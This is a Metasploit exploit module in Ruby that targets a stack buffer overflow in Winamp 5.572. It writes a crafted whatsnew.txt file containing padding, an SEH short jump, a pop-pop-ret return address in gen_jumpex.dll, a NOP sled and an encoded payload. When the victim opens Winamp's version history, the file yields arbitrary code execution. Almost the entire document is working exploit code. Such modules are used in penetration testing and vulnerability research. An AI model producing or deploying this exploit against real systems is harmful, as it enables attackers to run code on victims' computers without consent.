# Title: Winamp 5.572 whatsnew.txt SEH (MSF)# Author: Blake# Published: 2010-04-15# Tested on Windows XP SP3### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,'Name' => 'Winamp 5.572 whatsnew.txt Buffer Overflow Exploit (SEH)','Description' => %q{
This module exploits a stack overflow in Winamp version 5.572.
By creating a specially crafted whatsnew.txt file, an an attacker may be able
to execute arbitrary code. This exploit is triggered by accessing the help - winamp
- version history option once the whatsnew.txt file has been placed in the Winamp directory.},'License' => MSF_LICENSE,'Author' => 'Blake','Version' => 'Version 1','References' =>
[['OSVDB',''],['URL','http://www.exploit-db.com/exploits/11267'],],'DefaultOptions' =>
{'EXITFUNC' => 'process',},'Payload' =>
{'Space' => 4488,'BadChars' => "\x00\x20\x0a\x0d",'StackAdjustment' => -3500,'DisableNops' => 'True',},'Platform' => 'win','Targets' =>
[['Windows Universal',{'Ret' => 0x10025497}],#pop ebx; pop ebp; retn gen_jumpex.dll],'Privileged' => false,'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME',[ false,'The file name.','whatsnew.txt']),], self.class)end
def exploit
sploit = "Winamp 5.572"
sploit << rand_text_alphanumeric(672)
sploit << "\xeb\x06\x90\x90"# short jump 6 bytes
sploit << [target.ret].pack('V')
sploit << "\x90"* 20# nop sled
sploit << payload.encoded
sploit << rand_text_alphanumeric(4488 - payload.encoded.length)
whatsnewtxt = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(whatsnewtxt)endend